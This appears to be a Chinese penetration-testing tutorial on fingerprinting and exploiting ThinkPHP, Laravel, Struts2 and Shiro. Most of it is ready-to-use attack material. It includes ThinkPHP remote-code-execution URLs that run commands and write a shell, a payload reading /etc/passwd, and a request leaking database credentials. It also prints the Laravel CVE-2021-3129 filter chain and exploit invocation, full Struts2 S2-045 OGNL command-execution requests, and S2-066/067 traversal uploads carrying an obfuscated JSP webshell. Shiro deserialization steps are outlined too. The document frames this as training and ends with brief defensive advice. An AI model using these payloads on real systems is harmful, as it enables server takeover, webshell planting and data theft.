网络安全常见的框架漏洞
网络安全常见的框架漏洞
前言
随着 Web 应用开发效率需求的提升,ThinkPHP、Laravel、Struts2、Shiro 等主流开发框架已成为企业建站的 “基础设施”。但框架的广泛使用也带来了共性安全风险 —— 一旦框架存在未修复的漏洞,攻击者可通过统一的方法批量渗透,其影响范围远超单个自定义应用漏洞。
本文聚焦国内常用 Web 框架的核心安全问题,以 “特征识别→漏洞原理→实战利用” 为核心逻辑,系统梳理了 ThinkPHP 的远程代码执行、Laravel 的反序列化漏洞、Struts2 的文件上传与命令执行、Shiro 的记住我 Cookie 漏洞等典型场景。内容不仅包含可直接复用的 POC 代码、框架特征检测技巧(如手动构造报错、插件识别),还特别强调了实战中的风险边界(如慎用 DOS 类、溢出类 POC),既适合安全初学者入门框架漏洞原理,也能为渗透测试人员提供实战参考,帮助读者建立 “从识别框架到精准利用漏洞” 的完整技术链路。
一、了解框架特征—越多越好
1.图标、常见路径、目录结构、特殊的功能扣、常见的报错页面特征
2.怎么构建报错
3.了解常见的漏洞
认证绕过、RCE、反序列化、SQL注入、文件上传
4.会使用相关工具
图像化的,综合性的,单个命令行的
5.分析漏洞原理,开放自己的工具
怎么触发的、有什么回显信息、各种情况下的报错、攻击成功或者失败的特征、会构建对应的payload
6.实战
打靶练习
真实环境测试、你要知道你的工具打下去会有什么效果-有什么危害(注意:影响业务的、溢出类的、DOS类的、导致服务器容器崩溃的漏洞POC慎用)
其他:审计相关的代码,去通读了解
二、ThinkPHP(TP框架)
1.特征
特征1:标题图标

特征2:标志页面(index.php)–十年磨一剑

特征3:手动构建报错/目录扫描工具(dirsearch),获取版本信息
index.php?s=dg
/index/dadada
如:http://192.168.61.252:8080/index.php?s=1

注意:现在大多数网站已经将TP框架信息隐藏了,要手动构建报错,去寻找控制器报错(构建一个不存在的控制器)


特征4:路径特征和控制器不存在的报错

5.网站的绝对路径中展示的地址

6.利用wappalyzer插件
2.框架漏洞
二开的:历史遗留漏洞可能会修复(也可能存在)、新的功能(会有新的漏洞产生)
1.使用历史漏洞去打
知道版本,去查历史漏洞:互联网
历年HVV的漏洞检测步骤:1、构造报错或者其他手段获取模板版本2、基于版本定位历史漏洞3、手动测试历史漏洞
2.根据对方的功能进行手动测试
1、远程代码执行漏洞
影响版本:ThinkPHP5 5.0.22/5.1.29
手动POC:
/index.php?s=/index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id #执行命令写入shell:
?s=/index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php phpinfo();?>

自动化工具检测
2、任意文件读取
/?s=index/\think\Lang/load&file=/etc/passwd
3、数据库账号密码泄露
?s=index/think\config/get&name=database.username
4、6.0.12 版本任意文件包含漏洞
利用BP绕过对前端URL中特殊符号的编码,写入shell
5、5.0.23命令执行
POST /index.php?s=captcha HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
5.0.24 反序列化漏洞,入口:需要添加控制器入口
漏洞环境中pearcmd的路径是在:/usr/local/lib/php/pearcmd.php
三、Laravel框架漏洞
1.CVE-2024-40075
*8.版本的反序列化漏洞
注意需要添加入口控制器作为当前反序列化漏洞利用点,正常业务中不会存在。
教程:https://xz.aliyun.com/news/10088
框架的特征;
首页图标以及当前版本信息
特殊路径

错误页面

插件

2.CVE-2021-3129
漏洞特征
http://192.168.137.133:8080/_ignition/execute-solution
当前路径地址存在且存在报错如下,即存在该漏洞

漏洞原理:
#先调用php协议将larvel.log日志清空:
php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.logphp://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log2、把当前日志文件当做一个 目录然后触发file_get_contents函数的phar反序列化
构建的日志地址:phar://../storage/logs/laravel.log/test.txt其他部分看代码中exp.py
利用:
python CVE-2021-3129.py -u http://192.168.61.252:8080 -e -p http://192.168.61.249:8089


三、Struts2框架漏洞
Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建视图的数据交2是Struts的下一代产品,是在struts1和WebWork的技术基础上进行了合并的全新的Struts2框架。其全新的Struts2的体系结构Struts1的体系结构差别巨大。
1.特征
1.构建页面consloe路径
/struts/webconsole.html #devMode设置为true
/webconsole.html

2.通过actionErrors方法去判定
?actionErrors=1

3.根据请求文件的后缀去判定
.do
.action #不是所有的action都是Struts2框架

4.根据页面报错或者异常信息判定(不一定准确)
会把数据直接输出你的请求路径在页面
可能会直接跳转,访问什么都是200
404或者500
页面结构有明显的变化

http://192.168.137.133:8080/.ssh/id_rsa~

2.S2-045远程命令执行漏洞(CVE-2017-5638)
S2-045的攻击payload
POST /doUpload.action HTTP/1.1
Host: 192.168.61.252:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='执行的系统命令').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"boundary=----geckoformboundary11f747c873149976a02f557907e0f074
Content-Length: 320
Origin: http://192.168.61.252:8080
Connection: keep-alive
Referer: http://192.168.61.252:8080/
Cookie: JSESSIONID=1fhcxsb9jwsr11qz8njz7pge
Upgrade-Insecure-Requests: 1
Priority: u=0, i------geckoformboundary11f747c873149976a02f557907e0f074
Content-Disposition: form-data; name="upload"; filename="1.txt"
Content-Type: text/plain------geckoformboundary11f747c873149976a02f557907e0f074
Content-Disposition: form-data; name="caption"------geckoformboundary11f747c873149976a02f557907e0f074--
POST /doUpload.action HTTP/1.1
Host: 192.168.61.252:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ls').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"boundary=----geckoformboundary11f747c873149976a02f557907e0f074
Content-Length: 320
Origin: http://192.168.61.252:8080
Connection: keep-alive
Referer: http://192.168.61.252:8080/
Cookie: JSESSIONID=1fhcxsb9jwsr11qz8njz7pge
Upgrade-Insecure-Requests: 1
Priority: u=0, i------geckoformboundary11f747c873149976a02f557907e0f074
Content-Disposition: form-data; name="upload"; filename="1.txt"
Content-Type: text/plain------geckoformboundary11f747c873149976a02f557907e0f074
Content-Disposition: form-data; name="caption"------geckoformboundary11f747c873149976a02f557907e0f074--

3.S2-066目录穿越文件上传漏洞(CVE-2023-50164)
影响版本:
Apache Struts 2.0.0 - 2.5.32
Apache Struts 6.0.0 - 6.3.0
POC
POST /index.action HTTP/1.1
Host: 192.168.137.133:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=----geckoformboundary91b9d0fc8baffeb69ca6815e12601d27
Content-Length: 1410
Origin: http://192.168.137.133:8080
Connection: keep-alive
Referer: http://192.168.137.133:8080/index.action
Cookie: think_lang=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Ftmp%2Fshell4; XSRF-TOKEN=eyJpdiI6Imc2QlVuN2x4QXJLTVl6Ym94Ymxqb2c9PSIsInZhbHVlIjoiNlpFeGpLRWdyQ3hrYlhTelUrMVJBdDEvZW52anJvMUhoOVhReWR6NEEwd29iUTJkcFlwWlhMNmcyd2xrcHNzQytKWEhDNTdtcytRVHBwMVM0VXhQSXFMdzJDZm12ZS9YOTE1SG4xTnB1VmhsNG5URG1KM3FrVUpJVm13aEg5VWMiLCJtYWMiOiIxNDhmNWQ4NzQyZTAwOTRhYmY1YzRiYTYzN2VlNDAzNjkwNzc0OGJiMjg1ZjY3MGFkMjMzNTA0Mzk5YWFhOTYzIn0%3D; laravel_session=eyJpdiI6InVvMDB3N3ZDMXZRY2w4cnUrYWFtS3c9PSIsInZhbHVlIjoieElSdmV2MklNclVWQTNpak4zSktWbUkvUmVCYzRZTzd3RnczSHVCTSs1YjlVYnMxS013NXlRcHY3M2crVndZK0lMMHJOdEcrM2dKa2RacGN6ZFFGN1E4K1FBVlBHTSt5TTJGOExnNnJTbGVDMW1uQ0FYTVBiNHdaT0FCZVprYUwiLCJtYWMiOiI1N2Q1OTIyYTVmOGRiNzI0NjAzNThlMGU3MzEzNWRhN2E3MTJlYTAzMTQ4YmEyMDliNWNiNDg5M2RkMmI2NGU0In0%3D; JSESSIONID=2608BF58B45D00743166D960690EFF3E
Upgrade-Insecure-Requests: 1
Priority: u=0, i------geckoformboundary91b9d0fc8baffeb69ca6815e12601d27
Content-Disposition: form-data; name="file"; filename="1.jsp"
Content-Type: application/octet-stream<%!
class QUEUE extends ClassLoader{QUEUE(ClassLoader c){super(c);}public Class option(byte[] b){return super.defineClass(b, 0, b.length);}
}
public byte[] manipulator(String str) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("sun.misc.BASE64Decoder");Object decoder = base64.newInstance();value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] {String.class }).invoke(decoder, new Object[] { str });} catch (Exception e) {try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { str });} catch (Exception ee) {}}return value;
}
%>
<%
String cls = request.getParameter("cmd");
if (cls != null) {new QUEUE(this.getClass().getClassLoader()).option(manipulator(cls)).newInstance().equals(new Object[]{request,response});
}
%>------geckoformboundary91b9d0fc8baffeb69ca6815e12601d27
Content-Disposition: form-data; name="top.fileFileName"../1.jsp
------geckoformboundary91b9d0fc8baffeb69ca6815e12601d27--


4.S2-067文件上传逻辑漏洞(CVE-2024-53677)
受影响版本
2.0.0 <= Apache Struts <= 2.3.37
2.5.0 <= Apache Struts <= 2.5.33
6.0.0 <= Apache Struts <= 6.3.0.2
S2-066修复后导致的新的漏洞(修复不完整)—请求参数不一样,066使用fileFileName,067使用top.fileFileName
POST /index.action HTTP/1.1
Host: 192.168.61.252:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=----geckoformboundarye21ce57a60f37076fbe9e08e1f90a1e0
Content-Length: 1420
Origin: http://192.168.61.252:8080
Connection: keep-alive
Referer: http://192.168.61.252:8080/index.action
Cookie: JSESSIONID=A92D9EC55D2E832ECDEA0C5548EAFBB8
Upgrade-Insecure-Requests: 1
Priority: u=0, i------geckoformboundarye21ce57a60f37076fbe9e08e1f90a1e0
Content-Disposition: form-data; name="file"; filename="shell1.jsp"
Content-Type: application/octet-stream<%shell
%>------geckoformboundarye21ce57a60f37076fbe9e08e1f90a1e0
Content-Disposition: form-data; name="fileFileName"../shell1.jsp
------geckoformboundarye21ce57a60f37076fbe9e08e1f90a1e0--
工具其次,主要是手动去搓。


四、Shiro
1.特征:
记住我--记住密码功能 #不是所有的记住密码都是shiro在请求的返回中,会有明显的remembere=deleteME才是shiro框架

2.shiro550反序列化(CVE-2016-4437)
影响版本:Apache Shiro < 1.2.4
ApacheShiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。
那么,Payload产生的过程:命令=>序列化=>AES加密(需要私钥:默认密钥)=>base64编码=>RememberMeCookie值在整个漏洞利用过程中,比较重要的是AES加密的密钥,如果没有修改默认的密钥那么就很容易就知道密钥了,Payload构造起来也是十分的简单。
特征判断:是否有记住密码功能–记住我。但是不是所有的有记住密码都是Shiro
有以下特征,100%是Shiro:即在请求的响应包中有明显的
密钥发现:
1、可以基于BP插件进行扫描
2、使用漏洞工具进行爆破

爆破利用连

然后执命令

注意:
如果站在防御者角度,当前请求的http日志,是看不到任何的记录信息的,唯一的区别在于有一个c:bass64编码的命令执行内容
内存马注入

3.shiro721
漏洞流程
1.登录网站获取合法Cookie
2.使用rememberMe字段进行PaddingOracleAttack,获取intermediary
3.利用intermediary构造出恶意的反序列化密文作为Cookie
4.使用新的Cookie请求网站执行攻击
总结
本文围绕 4 个主流 Web 框架的漏洞展开,核心在于解决 “如何快速识别框架” 与 “如何针对性利用漏洞” 两大问题,可总结为三大核心要点:
框架识别是漏洞利用的前提各框架均有独特的 “身份标识”:ThinkPHP 的 “十年磨一剑” 页面与控制器报错、Laravel 的_ignition路径、Struts2 的.action后缀、Shiro 的rememberMe=deleteMe响应头。通过手动构造报错(如不存在的控制器)、目录扫描、浏览器插件(Wappalyzer)等组合手段,可突破 “框架信息隐藏” 的防御,精准定位目标框架类型与版本。
漏洞利用需紧扣 “版本匹配” 与 “实战风险”不同框架的漏洞与版本强绑定:ThinkPHP 5.0.22/5.1.29 的 RCE、Struts2 2.0.0-2.5.32 的 S2-066 漏洞、Shiro <1.2.4 的 550 反序列化漏洞,均需先通过报错或工具确认版本,再选择对应 POC。同时需严格遵守实战红线 —— 对可能导致业务中断的溢出类、DOS 类 POC,需在授权测试中评估风险后慎用,避免引发生产事故。
“手动测试 + 工具辅助” 是漏洞验证的关键文档中多次体现 “工具为辅助,手动为核心” 的思路:如 Struts2 漏洞需手动构造 POST 请求体、Shiro 550 需结合 BP 爆破默认密钥、ThinkPHP 需手动写入 shell。自动化工具可提升效率,但手动搓 POC 的过程能更深入理解漏洞原理(如 Laravel CVE-2021-3129 的日志反序列化逻辑),也是应对 “框架二开导致工具失效” 的核心能力。
从安全防御视角看,本文内容也为企业提供了明确的防护方向:隐藏框架默认特征(如屏蔽 TP 报错页面)、及时修复版本漏洞(如 Struts2 升级至 6.3.0.2 以上)、禁用框架危险功能(如 Shiro 非必要不开启 RememberMe)。网络安全的对抗本质是 “漏洞信息差” 的博弈,唯有持续关注框架版本更新与漏洞情报,才能在攻防两端占据主动。
